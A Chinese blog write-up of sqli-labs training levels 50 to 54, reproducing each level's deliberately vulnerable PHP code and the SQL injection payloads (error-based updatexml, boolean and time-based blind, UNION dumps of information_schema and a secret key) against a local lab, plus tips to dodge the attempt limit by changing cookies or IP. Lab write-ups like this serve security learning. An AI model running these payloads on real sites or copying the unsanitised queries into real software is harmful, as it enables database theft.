sqli labs Less 50 -> Less 54

  1. 前言
  2. 正文

前言


距离上学还有3天,今天继续闯sqli-labs靶场,从50关崩到54关,感觉可还行
5e52287fe186c4bb6a714985fb0ef5a4625558ff.jpg
BGM:喜欢

正文


50关代码

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY Clause Blind based</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">

<?php
include("../sql-connections/sqli-connect.php");
error_reporting(0);
$id=$_GET['sort'];    
if(isset($id))
{
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'SORT:'.$id."\n");
    fclose($fp);

    $sql="SELECT * FROM users ORDER BY $id";
    /* execute multi query */
    if (mysqli_multi_query($con1, $sql))
    {

        ?>
        <center>
        <font color= "#00FF00" size="4">

        <table   border=1'>
        <tr>
            <th>&nbsp;ID&nbsp;</th>
            <th>&nbsp;USERNAME&nbsp;  </th>
            <th>&nbsp;PASSWORD&nbsp;  </th>
        </tr>
        </font>
        </font>
        <?php
            /* store first result set */
            if ($result = mysqli_store_result($con1))
            {
                while($row = mysqli_fetch_row($result))
                {
                    echo '<font color= "#00FF11" size="3">';        
                    echo "<tr>";
                    echo "<td>";
                    printf("%s", $row[0]);
                    echo "</td>";
                    echo "<td>";
                    printf("%s", $row[1]);
                    echo "</td>";
                    echo "<td>";
                    printf("%s", $row[2]);
                    echo "</td>";
                    echo "</tr>";
                    echo "</font>";

                }

            }
    echo "</table>";
    }

    else
    {
        echo '<font color= "#FFFF00">';
        print_r(mysqli_error($con1));
        echo "</font>";  
    }
}
else
{
    echo "Please input parameter as SORT with numeric value<br><br><br><br>";
    echo "<br><br><br>";
    echo '<img src="../images/Less-50.jpg" /><br>';    
}
?>
</font> 
</div>
</br>
</br>
</br>

</center> 
</body>
</html>

还是order by注入,报错注入带走

http://127.0.0.1/sqli-labs-master/Less-50/?sort=updatexml(1,concat(0x7e,(select%20user()),0x7e),1)

kBzIXD.md.png

51关代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY Clause Blind based</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">

<?php
include("../sql-connections/sqli-connect.php");
error_reporting(0);
$id=$_GET['sort'];    
if(isset($id))
{
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'SORT:'.$id."\n");
    fclose($fp);

    $sql="SELECT * FROM users ORDER BY '$id'";
    /* execute multi query */
    if (mysqli_multi_query($con1, $sql)) 
    {

        ?>
        <center>
        <font color= "#00FF00" size="4">

        <table   border=1'>
        <tr>
            <th>&nbsp;ID&nbsp;</th>
            <th>&nbsp;USERNAME&nbsp;  </th>
            <th>&nbsp;PASSWORD&nbsp;  </th>
        </tr>
        </font>
        </font>
        <?php
            /* store first result set */
            if ($result = mysqli_store_result($con1))
            {
                while($row = mysqli_fetch_row($result))
                {
                    echo '<font color= "#00FF11" size="3">';        
                    echo "<tr>";
                    echo "<td>";
                    printf("%s", $row[0]);
                    echo "</td>";
                    echo "<td>";
                    printf("%s", $row[1]);
                    echo "</td>";
                    echo "<td>";
                    printf("%s", $row[2]);
                    echo "</td>";
                    echo "</tr>";
                    echo "</font>";

                }

            }
    echo "</table>";
    }

    else
    {
        echo '<font color= "#FFFF00">';
        print_r(mysqli_error($con1));
        echo "</font>";  
    }
}
else
{
    echo "Please input parameter as SORT with numeric value<br><br><br><br>";
    echo "<br><br><br>";
    echo '<img src="../images/Less-51.jpg" /><br>';    
}
?>
</font> 
</div>
</br>
</br>
</br>

</center> 
</body>
</html>

多了个需要闭合还是报错注入带走

http://127.0.0.1/sqli-labs-master/Less-51/?sort=1%27%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)%20--+

kBzv1f.png

52关代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY Clause Blind based</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">

<?php
include("../sql-connections/sqli-connect.php");
error_reporting(0);
$id=$_GET['sort'];    
if(isset($id))
{
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'SORT:'.$id."\n");
    fclose($fp);

    $sql="SELECT * FROM users ORDER BY '$id'";
    /* execute multi query */
    if (mysqli_multi_query($con1, $sql)) /*查询*/
    {

        ?>
        <center>
        <font color= "#00FF00" size="4">

        <table   border=1'>
        <tr>
            <th>&nbsp;ID&nbsp;</th>
            <th>&nbsp;USERNAME&nbsp;  </th>
            <th>&nbsp;PASSWORD&nbsp;  </th>
        </tr>
        </font>
        </font>
        <?php
            /* store first result set */
            if ($result = mysqli_store_result($con1))
            {
                while($row = mysqli_fetch_row($result))
                {
                    echo '<font color= "#00FF11" size="3">';        
                    echo "<tr>";
                    echo "<td>";
                    printf("%s", $row[0]);
                    echo "</td>";
                    echo "<td>";
                    printf("%s", $row[1]);
                    echo "</td>";
                    echo "<td>";
                    printf("%s", $row[2]);
                    echo "</td>";
                    echo "</tr>";
                    echo "</font>";

                }

            }
    echo "</table>";
    }

}
else
{
    echo "Please input parameter as SORT with numeric value<br><br><br><br>";
    echo "<br><br><br>";
    echo '<img src="../images/Less-53.jpg" /><br>';    
}
?>
</font> 
</div>
</br>
</br>
</br>

</center> 
</body>
</html>

没有输出mysql报错,盲注带走

http://127.0.0.1/sqli-labs-master/Less-52/?sort=rand(length(database())=8)

kDSkhq.md.png

53关代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY Clause Blind based</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">

<?php
include("../sql-connections/sqli-connect.php");
error_reporting(0);
$id=$_GET['sort'];    
if(isset($id))
{
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'SORT:'.$id."\n");
    fclose($fp);

    $sql="SELECT * FROM users ORDER BY '$id'";
    /* execute multi query */
    if (mysqli_multi_query($con1, $sql)) /*查询*/
    {

        ?>
        <center>
        <font color= "#00FF00" size="4">

        <table   border=1'>
        <tr>
            <th>&nbsp;ID&nbsp;</th>
            <th>&nbsp;USERNAME&nbsp;  </th>
            <th>&nbsp;PASSWORD&nbsp;  </th>
        </tr>
        </font>
        </font>
        <?php
            /* store first result set */
            if ($result = mysqli_store_result($con1))
            {
                while($row = mysqli_fetch_row($result))
                {
                    echo '<font color= "#00FF11" size="3">';        
                    echo "<tr>";
                    echo "<td>";
                    printf("%s", $row[0]);
                    echo "</td>";
                    echo "<td>";
                    printf("%s", $row[1]);
                    echo "</td>";
                    echo "<td>";
                    printf("%s", $row[2]);
                    echo "</td>";
                    echo "</tr>";
                    echo "</font>";

                }

            }
    echo "</table>";
    }

}
else
{
    echo "Please input parameter as SORT with numeric value<br><br><br><br>";
    echo "<br><br><br>";
    echo '<img src="../images/Less-53.jpg" /><br>';    
}
?>
</font> 
</div>
</br>
</br>
</br>

</center> 
</body>
</html>

回显不正常只能延时注入,由于延时注入从图片中看不出效果这里就不放了

http://127.0.0.1/sqli-labs-master/Less-53/?sort=1%27%20and%20sleep(if((length(dataabse())=8),1,4))%20--+

54关代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-54:Challenge-1</title>
</head>

<body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<input  type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
</right>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">



<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects... /*获取当前php的路径*/
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data /*用于生成随机数据的字符集*/
$times= 10;
$table = table_name();
$col = column_name(1);     // session id column name
$col1 = column_name(2);   //secret key column name


// Submitting the final answer
if(!isset($_POST['answer_key'])) /*判断answer_key如果否存在,如果不存在则执行以下操作*/
{
    // resetting the challenge and repopulating the table .
    if(isset($_POST['reset'])) /*如果POST的传参reset存在*/
    {
        setcookie('challenge', ' ', time() - 3600000); /*设置一个cookie然后跳转*/
        echo "<font size=4>You have reset the Challenge</font><br>\n";
        echo "Redirecting you to main challenge page..........\n";
        header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" ); /*重定向到主页*/
        //echo "cookie expired";

    }
    else
    {
        // Checking the cookie on the page and populate the table with random value.
        if(isset($_COOKIE['challenge'])) /*判断是否有cookie存在*/
        {
            $sessid=$_COOKIE['challenge'];
            //echo "Cookie value: ".$sessid;
        }
        else
        {
            $expire = time()+60*60*24*30;
            $hash = data($table,$col);
            setcookie("challenge", $hash, $expire); /*如果是第一次访问给予一个cookie*/

        }

        echo "<br>\n";

        // take the variables
        if(isset($_GET['id'])) /*判断是否有GET传参ID的存在*/
        {
            $id=$_GET['id'];

            //logging the connection parameters to a file for analysis.
            $fp=fopen('result.txt','a');
            fwrite($fp,'ID:'.$id."\n");
            fclose($fp);


            //update the counter in database
            next_tryy();

            //Display attempts on screen.
            $tryyy = view_attempts();
            echo "You have made : ". $tryyy ." of $times attempts";
            echo "<br><br><br>\n";


            //Reset the Database if you exceed allowed attempts.
            if($tryyy >= ($times+1))
            {
                setcookie('challenge', ' ', time() - 3600000);
                echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
                echo "Redirecting you to challenge page..........\n";
                header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
                echo "<br>\n";
            }    



            // Querry DB to get the correct output
            $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
            $result=mysql_query($sql);
            $row = mysql_fetch_array($result);

            if($row)
            {
                echo '<font color= "#00FFFF">';    
                echo 'Your Login name:'. $row['username'];
                echo "<br>";
                echo 'Your Password:' .$row['password'];
                echo "</font>";
            }
            else 
            {
                echo '<font color= "#FFFF00">';
//                print_r(mysql_error());
                echo "</font>";  
            }
        }
        else
        {
            echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n<br><br>\n</font>";
            echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
            echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
        }

    }


?>
</font> </div></br></br></br><center>
<img src="../images/Less-54.jpg" />
</center>
<br><br><br>
<div  style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form> 
</div>


<?php

}

else
{
    echo '<div  style=" color:#00FFFF; font-size:18px; text-align:center">';
    $key = addslashes($_POST['key']); /*处理特殊字符*/
    $key = mysql_real_escape_string($key);
    //echo $key;
    //Query table to verify your result
    $sql="SELECT 1 FROM $table WHERE $col1= '$key'";
    //echo "$sql";
    $result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());

    $row = mysql_fetch_array($result);

    if($row)
    {
        echo '<font color= "#FFFF00">';
        echo "\n<br><br><br>";
        echo '<img src="../images/Less-54-1.jpg" />';
        echo "</font>"; 
        header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );    
    }
    else 
    {
        echo '<font color= "#FFFF00">';
        echo "\n<br><br><br>";
        echo '<img src="../images/slap1.jpg" />';
        header( "refresh:3;url=index.php" );
        //print_r(mysql_error());
        echo "</font>";  
            }    


}

?>

</body>
</html>

要求你注入获取到key,数据库不在是security,限制注入次数为10次,如果超过此次数,重定向到主页,并且每次的密码都是随机的。虽然如此,但是这是通过cookie来判断你的次数,你可以修改你cookie或者更换IP和浏览器来进行多次试验
PS:给出数据库名:challenges
kDP6ij.png

payload:
http://127.0.0.1/sqli-labs-master/Less-54/?id=0%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%22challenges%22%20--+
http://127.0.0.1/sqli-labs-master/Less-54/?id=0%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%22v1icuozblo%22%20--+
http://127.0.0.1/sqli-labs-master/Less-54/?id=0%27%20union%20select%201,group_concat(secret_J0N4,tryy),3%20from%20v1icuozblo%20--+

最终得到随机密码是:J7oVFGp7S8WSd5Nb1xLBK7uF11

转载请声明:转自422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:sqli labs Less 50 -> Less 54

本文作者:九世

发布时间:2019-02-14, 18:37:41

最后更新:2019-04-19, 20:36:16

原始链接:http://422926799.github.io/posts/b0e668d5.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录